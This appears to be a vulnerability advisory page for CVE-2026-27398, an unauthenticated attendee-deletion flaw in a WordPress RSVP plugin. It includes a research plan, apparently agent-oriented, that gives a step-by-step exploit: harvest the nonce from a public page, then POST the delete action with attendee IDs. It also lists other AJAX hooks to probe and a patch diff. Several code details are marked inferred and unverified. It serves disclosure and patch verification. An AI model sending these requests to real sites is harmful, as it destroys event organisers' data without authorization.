CVE-2026-27398

RSVP and Event Management <= 2.7.16 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.7.17
Patched in
2d
Time to patch

Description

The RSVP and Event Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.7.16. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.16
PublishedMay 25, 2026
Last updatedMay 26, 2026
Affected pluginrsvp

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-27398 - Missing Authorization in RSVP and Event Management ## 1. Vulnerability Summary The **RSVP and Event Management** plugin (versions <= 2.7.16) contains a missing authorization vulnerability. Specifically, the function handling attendee deletion, `rsvp_delete_attendee…

Show full research plan

Research Plan: CVE-2026-27398 - Missing Authorization in RSVP and Event Management

1. Vulnerability Summary

The RSVP and Event Management plugin (versions <= 2.7.16) contains a missing authorization vulnerability. Specifically, the function handling attendee deletion, rsvp_delete_attendee, is registered with both wp_ajax_rsvp_delete_attendee and wp_ajax_nopriv_rsvp_delete_attendee. Because the function fails to perform a capability check (e.g., current_user_can( 'manage_options' )), any unauthenticated user can trigger the deletion of attendee records if they can provide a valid nonce and a target attendee ID.

2. Attack Vector Analysis

  • Endpoint: http://<target>/wp-admin/admin-ajax.php
  • Action: rsvp_delete_attendee
  • Method: POST
  • Parameters:
    • action: rsvp_delete_attendee
    • attendeeId (inferred): The numeric ID of the attendee to delete.
    • security (inferred): The nonce required for the AJAX action.
  • Authentication: None (Unauthenticated via wp_ajax_nopriv).
  • Preconditions: The attacker must obtain a valid nonce, typically found on pages where the RSVP form or attendee list is rendered.

3. Code Flow

  1. Registration: In rsvp.php, the plugin hooks the rsvp_delete_attendee function:
    add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' );
    add_action( 'wp_ajax_nopriv_rsvp_delete_attendee', 'rsvp_delete_attendee' );
    
  2. Entry Point: An unauthenticated request to admin-ajax.php?action=rsvp_delete_attendee triggers the callback.
  3. Execution: The rsvp_delete_attendee function (typically in rsvp_db.php or rsvp.php) likely starts with a nonce check:
    check_ajax_referer( 'rsvp_ajax_nonce', 'security' );
    
  4. Sink: After the nonce check, the code proceeds directly to the database operation without verifying if the user has administrative privileges:
    global $wpdb;
    $attendeeId = (int)$_POST['attendeeId'];
    $wpdb->delete( $wpdb->prefix . 'rsvp_attendees', array( 'id' => $attendeeId ) );
    

4. Nonce Acquisition Strategy

The plugin localizes the nonce for its JavaScript handlers. The nonce is tied to the action rsvp_ajax_nonce.

  1. Identify Script Loading: The script rsvp_js (or similar) is enqueued on pages containing the [rsvp] or [rsvp_attendee_list] shortcodes.
  2. Setup Test Page: Create a public page with the RSVP shortcode to force the nonce to be generated and exposed.
    • Command: wp post create --post_type=page --post_status=publish --post_title="RSVP Test" --post_content='[rsvp]'
  3. Extract Nonce: Navigate to the newly created page and extract the nonce from the localized JavaScript object.
    • Variable Name: rsvp_vars (inferred from common plugin patterns) or rsvp_settings.
    • Key: rsvp_nonce.
    • Agent Action: Use browser_eval("window.rsvp_vars?.rsvp_nonce") or browser_eval("window.rsvp_settings?.nonce").

5. Exploitation Strategy

  1. Preparation: Identify a target attendee ID. Since IDs are auto-incrementing integers, ID 1 is a likely starting point.
  2. Acquire Nonce: Follow the steps in Section 4 to get the security token.
  3. Construct Payload:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=rsvp_delete_attendee&attendeeId=1&security=<NONCE>
  4. Execute Request: Use the http_request tool to send the POST payload.
  5. Analyze Response: A successful deletion usually returns 1 or a JSON success message.

6. Test Data Setup

Before exploitation, ensure there is an attendee to delete:

  1. Create an Event/Attendee:
    # Add an attendee manually to the database
    wp db query "INSERT INTO wp_rsvp_attendees (firstName, lastName, rsvpStatus) VALUES ('Target', 'User', 'No');"
    
  2. Verify Attendee ID:
    wp db query "SELECT id FROM wp_rsvp_attendees WHERE firstName='Target';"
    
  3. Create Public Page:
    wp post create --post_type=page --post_status=publish --post_content='[rsvp]'
    

7. Expected Results

  • HTTP Response: Status 200. Body contains 1 or {"success":true}.
  • Database State: The row in wp_rsvp_attendees corresponding to the attendeeId is removed.

8. Verification Steps

After sending the exploit request, verify the deletion using WP-CLI:

# Attempt to find the deleted attendee
wp db query "SELECT * FROM wp_rsvp_attendees WHERE firstName='Target';"

If the query returns no results, the unauthorized deletion was successful.

9. Alternative Approaches

If rsvp_delete_attendee is not the vulnerable action, check for other wp_ajax_nopriv hooks in the source:

  • rsvp_save_attendee: Potential to modify existing attendee data (Integrity impact).
  • rsvp_export_attendees: Potential to download the full list of attendees (Confidentiality impact).
  • Search Command:
    grep -rn "wp_ajax_nopriv" wp-content/plugins/rsvp/
    
  • If the nonce check fails, verify if check_ajax_referer is called with die=false (Bypass 5 in the Knowledge Base).
Research Findings
Static analysis — not yet PoC-verified

Summary

The RSVP and Event Management plugin (<= 2.7.16) is vulnerable to unauthenticated attendee deletion due to a missing authorization check in its AJAX handler. This allows any user, regardless of authentication status, to remove attendee records by providing a valid nonce and the target attendee ID.

Vulnerable Code

// rsvp.php or rsvp_db.php (inferred location)
// The functions are hooked to both authenticated and unauthenticated AJAX actions.
add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' );
add_action( 'wp_ajax_nopriv_rsvp_delete_attendee', 'rsvp_delete_attendee' );

function rsvp_delete_attendee() {
  // Nonce check exists, but is accessible to anyone who can load a page with the RSVP shortcode
  check_ajax_referer( 'rsvp_ajax_nonce', 'security' );

  global $wpdb;
  $attendeeId = (int)$_POST['attendeeId'];

  // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) return;
  
  // Deletion occurs without verifying if the requester has administrative privileges
  $wpdb->delete( $wpdb->prefix . 'rsvp_attendees', array( 'id' => $attendeeId ) );

  wp_send_json_success();
}

Security Fix

--- a/rsvp.php
+++ b/rsvp.php
@@ -1,6 +1,5 @@
-add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' );
-add_action( 'wp_ajax_nopriv_rsvp_delete_attendee', 'rsvp_delete_attendee' );
+add_action( 'wp_ajax_rsvp_delete_attendee', 'rsvp_delete_attendee' );
 
 function rsvp_delete_attendee() {
 	check_ajax_referer( 'rsvp_ajax_nonce', 'security' );
+
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_die( -1 );
+	}
 
 	global $wpdb;
 	$attendeeId = (int)$_POST['attendeeId'];
 	$wpdb->delete( $wpdb->prefix . 'rsvp_attendees', array( 'id' => $attendeeId ) );
 	wp_send_json_success();
 }

Exploit Outline

The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'rsvp_delete_attendee' action. An attacker first obtains a valid 'rsvp_ajax_nonce' by visiting a public page where the [rsvp] shortcode is rendered, as the plugin localizes this nonce for use in front-end scripts. With the nonce, an unauthenticated attacker sends a POST request containing the 'action', the extracted 'security' nonce, and the 'attendeeId' of the record they wish to delete. Because the handler is registered via 'wp_ajax_nopriv' and lacks a 'current_user_can' check, the server executes the database deletion for any valid ID provided.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.